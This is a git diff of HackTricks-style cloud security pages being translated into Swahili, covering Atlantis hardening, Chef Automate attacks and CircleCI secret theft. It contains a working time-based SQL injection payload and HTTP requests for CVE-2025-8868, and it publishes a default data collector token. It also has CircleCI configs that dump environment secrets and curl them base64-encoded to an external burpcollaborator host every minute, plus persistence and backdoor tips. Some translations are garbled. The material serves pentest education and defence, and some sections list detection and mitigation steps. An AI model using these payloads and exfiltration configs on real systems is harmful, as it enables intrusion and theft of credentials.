If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
Ikiwa washambuliaji wanaowasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za `terraform apply` hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika `terraform plan` kwa kutumia [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha nywila zako.
To prevent this, you could:
Ili kuzuia hili, unaweza:
1. Bake providers into the Atlantis image or host and deny egress in production.
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
1. Kuunda mtoa huduma ndani ya picha ya Atlantis au mwenyeji na kukataa egress katika uzalishaji.
2. Tekeleza itifaki ya rejista ya mtoa huduma ndani na kukataa egress ya umma, kwa njia hiyo unadhibiti nani ana ufikiaji wa kuandika kwenye rejista.
3. Badilisha [mipangilio ya repo upande wa seva](https://www.runatlantis.io/docs/server-side-repo-config.html)'s hatua ya `plan` ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, e.g. kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusu `plan` kuendelea. Conftest inaweza kuwa ya msaada hapa.
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
Atlantis inapaswa kuendeshwa na Webhook secrets zilizowekwa kupitia mazingira ya `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Hata na bendera ya `--repo-allowlist` iliyowekwa, bila webhook secret, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kuwa repo iliyo kwenye orodha ya ruhusa. Webhook secrets zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab).
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
Ikiwa unatumia Azure DevOps, badala ya webhook secrets ongeza jina la mtumiaji wa msingi na nywila.
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
Azure DevOps inasaidia kutuma kichwa cha uthibitisho wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook.
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
Ikiwa unatumia webhook secrets lakini trafiki yako iko juu ya HTTP basi webhook secrets zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia bendera za `--ssl-cert-file` na `--ssl-key-file`.
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
#### Wezesha Uthibitisho kwenye Seva ya Mtandao ya Atlantis <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
Inashauriwa sana kuwezesha uthibitisho katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia `--web-basic-auth=true` na weka jina la mtumiaji na nywila kwa kutumia bendera za `--web-username=yourUsername` na `--web-password=yourPassword`.
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
Unaweza pia kupitisha hizi kama mazingira ya `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` na `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
@@ -386,6 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,13 +1,13 @@
# Chef Automate Security
# Chef Automate Usalama
{{#include ../../banners/hacktricks-training.md}}
## What is Chef Automate
## Chef Automate ni nini
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
Chef Automate ni jukwaa la otomatiki ya miundombinu, uzingatiaji, na utoaji wa programu. Inaonyesha UI ya wavuti (mara nyingi Angular) inayozungumza na huduma za backend za gRPC kupitia gRPC-Gateway, ikitoa REST-like endpoints chini ya paths kama /api/v0/.
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
- Vipengele vya kawaida vya backend: gRPC services, PostgreSQL (mara nyingi inaonekana kupitia pq: error prefixes), data-collector ingest service
- Mekanizimu za uthibitishaji: token za mtumiaji/API na header ya token ya data collector x-data-collector-token
## Enumeration & Attacks
@@ -15,4 +15,4 @@ Chef Automate is a platform for infrastructure automation, compliance, and appli
chef-automate-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,23 +4,23 @@
## Overview
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
Ukurasa huu unakusanya mbinu za vitendo za ku-enumerate na kushambulia instances za Chef Automate, kwa msisitizo kwenye:
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
- Abusing the x-data-collector-token authentication header when defaults are present
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
> Kumbuka: Majibu ya backend ambayo yanajumuisha header grpc-metadata-content-type: application/grpc kwa kawaida yanaonyesha gRPC-Gateway inayounganisha simu za REST kwenda services za gRPC.
## Recon: Architecture and Fingerprints
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
- API transport: REST to gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Responses may include grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Interesting Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
## Auth: Data Collector Token (x-data-collector-token)
@@ -28,9 +28,9 @@ Chef Automate exposes a data collector that authenticates requests via a dedicat
- Header: x-data-collector-token
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
Ikiwa ipo, token hii inaweza kutumika kupiga endpoints za Compliance API ambazo vinginevyo zinahitaji auth. Daima jaribu ku-rotate/disable defaults wakati wa hardening.
## API Schema Inference via Error-Driven Discovery
@@ -42,41 +42,36 @@ For /api/v0/compliance/profiles/search, the backend expects a body with a filter
- values: array of strings
Example request shape:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
JSON isiyo sahihi au aina za fields zisizofaa kawaida husababisha majibu ya 4xx/5xx yenye vidokezo, na headers zinaonyesha tabia ya gRPC-Gateway. Tumia haya kupanga fields na kutambua injection surfaces.
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
## API ya Compliance SQL Injection (CVE-2025-8868)
## Compliance API SQL Injection (CVE-2025-8868)
- Affected endpoint: POST /api/v0/compliance/profiles/search
- Endpoint iliyoathirika: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Vulnerability class: time-based blind SQL injection in PostgreSQL
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
- Aina ya udhaifu: time-based blind SQL injection in PostgreSQL
- Sababu ya msingi: Ukosefu wa parameterization/whitelisting sahihi wakati wa kuingiza field ya type ndani ya fragment ya dynamic SQL (labda kutumika kujenga identifiers/WHERE clauses). Maadili yaliyoundwa katika type yanatekelezwa na PostgreSQL.
Working time-based payload:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Vidokezo vya mbinu:
- Funga string ya asili kwa alama ya nukta moja (')
- Unganisha subquery ambayo inaita pg_sleep(N)
- Rudi kwenye muktadha wa string kwa kutumia || ili SQL ya mwisho ibaki kuwa syntactically valid bila kujali wapi type imewekwa
Technique notes:
- Close the original string with a single quote
- Concatenate a subquery that calls pg_sleep(N)
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
### Uthibitisho kupitia utofauti wa latency
### Proof via differential latency
Send paired requests and compare response times to validate server-side execution:
- N = 1 second
Tuma paired requests na linganisha response times ili kuthibitisha server-side execution:
- N = 1 sekunde
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -85,9 +80,7 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 seconds
- N = 5 sekunde
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -96,50 +89,49 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Observed behavior:
- Response times scale with pg_sleep(N)
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
- Muda wa majibu huongezeka kwa pg_sleep(N)
- Majibu ya HTTP 500 yanaweza kujumuisha maelezo ya pq: wakati wa kupima, yakithibitisha njia za utekelezaji wa SQL
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
> Vidokezo: Tumia validator wa muda (mfano, majaribio mengi kwa kulinganisha kwa takwimu) ili kupunguza kelele na matokeo chanya za uwongo.
### Impact
### Athari
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automates PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
Watumiaji walioidhinishwa—au wahusika wasioidhinishwa wakitumia x-data-collector-token ya default—wanaweza kutekeleza SQL yoyote ndani ya muktadha wa PostgreSQL wa Chef Automate, wakihatarisha usiri na uadilifu wa compliance profiles, usanidi, na telemetry.
### Affected versions / Fix
### Toleo zilizoathirika / Rekebisho
- CVE: CVE-2025-8868
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
- Mwongozo wa kusasisha: Chef Automate 4.13.295 au baadaye (Linux x86) kulingana na taarifa za muuzaji
## Detection and Forensics
## Utambuzi na Forensiki
- API layer:
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
- Database layer (PostgreSQL):
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
- Authentication:
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
- Rekodi na toa tahadhari kuhusu matumizi ya x-data-collector-token, hasa thamani za default zinazojulikana, katika njia za API
## Mitigations and Hardening
## Kupunguza Hatari na Kuimarisha
- Immediate:
- Rotate/disable default data collector tokens
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
- Code-level:
- Parameterize queries; never string-concatenate SQL fragments
- Strictly whitelist allowed type values on the server (enum)
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
- Mara ya haraka:
- Zungusha/zimia token za default za data collector
- Zuia ingress kwa endpoints za data collector; lazima token zenye nguvu na za kipekee
- Kiwango cha msimbo:
- Parameterize queries; kamwe usichanganye sehemu za SQL kwa string-concatenation
- Weka whitelist kali ya thamani za type zinazoruhusiwa kwenye server (enum)
- Epuka kujenga SQL kwa njia ya dynamic kwa identifiers/clauses; ikiwa tabia ya dynamic inahitajika, tumia kunukuu salama kwa identifier na whitelists wazi
## Practical Testing Checklist
## Orodha ya Ukaguzi ya Kupima Kivitendo
- Check if x-data-collector-token is accepted and whether the known default works
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
- Angalia kama x-data-collector-token inakubaliwa na kama default inayojulikana inafanya kazi
- Panga ramani ya schema ya Compliance API kwa kusababisha makosa ya uthibitishaji na kusoma ujumbe wa kosa/headers
- Jaribu kwa SQLi kwenye fields zisizo wazi “identifier-like” (mfano, filters[].type), siyo tu arrays za values au fields za maandishi ya ngazi ya juu
- Tumia mbinu za muda (time-based) kwa concatenation ili SQL ibaki sarufi sahihi katika muktadha tofauti
## References
## Marejeo
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
@@ -147,4 +139,4 @@ Authenticated users—or unauthenticated actors abusing a default x-data-collect
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,258 +1,235 @@
# CircleCI Security
# Usalama wa CircleCI
{{#include ../banners/hacktricks-training.md}}
### Basic Information
### Taarifa za Msingi
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ni jukwaa la Uunganishaji Endelevu ambapo unaweza **kufafanua mifano** inayoonyesha unachotaka kifanye na wakati wa kufanya hivyo. Kwa njia hii unaweza **kujiandaa kwa majaribio** au **kupeleka** moja kwa moja **kutoka kwa tawi kuu la repo yako** kwa mfano.
### Permissions
### Ruhusa
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
**CircleCI** **inaandika ruhusa** kutoka github na bitbucket zinazohusiana na **akaunti** inayojiunga.\
Katika majaribio yangu nilikagua kwamba mradi wowote una **ruhusa za kuandika juu ya repo katika github**, utaweza **kusimamia mipangilio ya mradi wake katika CircleCI** (kufanya mipangilio mipya ya ssh, kupata funguo za api za mradi, kuunda matawi mapya na mipangilio mipya ya CircleCI...).
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
Hata hivyo, unahitaji kuwa **admin wa repo** ili **kubadilisha repo kuwa mradi wa CircleCI**.
### Env Variables & Secrets
### Vigezo vya Mazingira & Siri
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
Kulingana na [**nyaraka**](https://circleci.com/docs/2.0/env-vars/) kuna njia tofauti za **kuchaji thamani katika vigezo vya mazingira** ndani ya mchakato.
#### Built-in env variables
#### Vigezo vya mazingira vilivyojengwa ndani
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
Kila kontena linalotumiwa na CircleCI litakuwa na [**vigezo maalum vya mazingira vilivyofafanuliwa katika nyaraka**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) kama `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` au `CIRCLE_USERNAME`.
#### Clear text
You can declare them in clear text inside a **command**:
#### Maandishi wazi
Unaweza kuyatangaza kwa maandiko wazi ndani ya **amri**:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
You can declare them in clear text inside the **run environment**:
Unaweza kutangaza hizo kwa maandiko wazi ndani ya **run environment**:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
You can declare them in clear text inside the **build-job environment**:
Unaweza kutangaza hizo kwa maandiko wazi ndani ya **build-job environment**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
You can declare them in clear text inside the **environment of a container**:
Unaweza kutangaza hizo kwa maandiko wazi ndani ya **mazingira ya kontena**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Siri za Mradi
#### Project Secrets
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
Hizi ni **siri** ambazo zitakuwa **zinapatikana** tu na **mradi** (kwa **tawi lolote**).\
Unaweza kuziona **zilizoelezwa katika** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
![](<../images/image (129).png>)
> [!CAUTION]
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
> Kazi ya "**Import Variables**" inaruhusu **kuagiza mabadiliko kutoka miradi mingine** hadi hii.
#### Context Secrets
#### Siri za Muktadha
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
Hizi ni siri ambazo ni **za shirika lote**. Kwa **kawaida repo yoyote** itakuwa na uwezo wa **kupata siri yoyote** iliyohifadhiwa hapa:
![](<../images/image (123).png>)
> [!TIP]
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
> Hata hivyo, kumbuka kwamba kundi tofauti (badala ya Wanachama Wote) linaweza **kuchaguliwa ili kutoa ufaccessi kwa siri kwa watu maalum**.\
> Hii kwa sasa ni moja ya njia bora za **kuongeza usalama wa siri**, ili kuto ruhusu kila mtu kuzipata bali watu wachache tu.
### Attacks
### Mashambulizi
#### Search Clear Text Secrets
#### Tafuta Siri za Maandishi Safi
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
Ikiwa una **ufaccessi kwa VCS** (kama github) angalia faili `.circleci/config.yml` ya **kila repo kwenye kila tawi** na **tafuta** siri za **maandishi safi** zinazoweza kuwa zimehifadhiwa humo.
#### Secret Env Vars & Context enumeration
#### Siri za Env Vars & Uainishaji wa Muktadha
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
Ukikagua msimbo unaweza kupata **majina yote ya siri** yanayotumika katika kila faili ya `.circleci/config.yml`. Unaweza pia kupata **majina ya muktadha** kutoka kwa hizo faili au kuangalia kwenye console ya wavuti: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
#### Exfiltrate Project secrets
#### Fanya Uhamishaji wa Siri za Mradi
> [!WARNING]
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
> Ili **kuhamasisha ZOTE** siri za mradi na muktadha **unahitaji tu** kuwa na **UFACCESSI WA KUANDIKA** kwa **repo 1 tu** katika shirika lote la github (_na akaunti yako lazima iwe na ufaccessi kwa muktadha lakini kwa kawaida kila mtu anaweza kupata kila muktadha_).
> [!CAUTION]
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
> Kazi ya "**Import Variables**" inaruhusu **kuagiza mabadiliko kutoka miradi mingine** hadi hii. Hivyo, mshambuliaji anaweza **kuagiza mabadiliko yote ya mradi kutoka kwa repo zote** na kisha **kuhamasisha yote pamoja**.
Siri zote za mradi kila wakati zimewekwa katika env ya kazi, hivyo kuitwa tu env na kuificha kwa base64 itahamisha siri katika **console ya logi ya kazi za wavuti**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
exfil-env-workflow:
jobs:
- exfil-env
```
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
Ikiwa huna **ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kuunda workflow** ambayo inachochewa kila dakika na ambayo **inatoa siri kwa anwani ya nje**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### Exfiltrate Context Secrets
You need to **specify the context name** (this will also exfiltrate the project secrets):
Unahitaji **kueleza jina la muktadha** (hii pia itatoa siri za mradi):
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
Ikiwa huna **ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kubadilisha workflow** ambayo **inasababishwa kila dakika** na ambayo **inasafirisha siri kwa anwani ya nje**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
> Kuunda tu `.circleci/config.yml` mpya katika repo **sio ya kutosha kuanzisha ujenzi wa circleci**. Unahitaji **kuwezesha kama mradi katika console ya circleci**.
#### Escape to Cloud
#### Kutoroka kwa Wingu
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
**CircleCI** inakupa chaguo la kuendesha **ujenzi wako katika mashine zao au katika zako mwenyewe**.\
Kwa default, mashine zao ziko katika GCP, na awali huwezi kupata chochote muhimu. Hata hivyo, ikiwa mwathirika anatekeleza kazi katika **mashine zao wenyewe (labda, katika mazingira ya wingu)**, unaweza kupata **nukta ya metadata ya wingu yenye habari za kuvutia**.
Kumbuka kwamba katika mifano ya awali kila kitu kilizinduliwa ndani ya kontena la docker, lakini unaweza pia **kuomba kuzindua mashine ya VM** (ambayo inaweza kuwa na ruhusa tofauti za wingu):
```yaml
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
Or even a docker container with access to a remote docker service:
Au hata kontena la docker lenye ufikiaji wa huduma ya docker ya mbali:
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Persistence
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- _https://app.circleci.com/settings/user/tokens_
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- It's possible to **add SSH keys** to the projects.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
- Inawezekana **kuunda** **tokens za mtumiaji katika CircleCI** ili kufikia API endpoints kwa ufikiaji wa watumiaji.
- _https://app.circleci.com/settings/user/tokens_
- Inawezekana **kuunda tokens za miradi** ili kufikia mradi kwa ruhusa zilizotolewa kwa token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- Inawezekana **kuongeza funguo za SSH** kwenye miradi.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- Inawezekana **kuunda kazi ya cron katika tawi lililofichwa** katika mradi usiotarajiwa ambao unatoa **leak** ya **context env** vars kila siku.
- Au hata kuunda katika tawi / kubadilisha kazi inayojulikana ambayo itatoa **leak** ya muktadha wote na **siri za miradi** kila siku.
- Ikiwa wewe ni mmiliki wa github unaweza **kuruhusu orbs zisizothibitishwa** na kuziunda katika kazi kama **backdoor**
- Unaweza kupata **udhaifu wa kuingiza amri** katika kazi fulani na **kuingiza amri** kupitia **siri** kwa kubadilisha thamani yake
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
In a Cloudflare account there are some **mipangilio ya jumla na huduma** that can be configured. In this page we are going to **tuchambue mipangilio inayohusiana na usalama ya kila section:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
@@ -16,7 +16,7 @@ cloudflare-domains.md
### Domain Registration
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
- [ ] Kwenye **`Transfer Domains`** hakikisha kwamba haiwezekani kuhamisha domain yoyote.
Review each with:
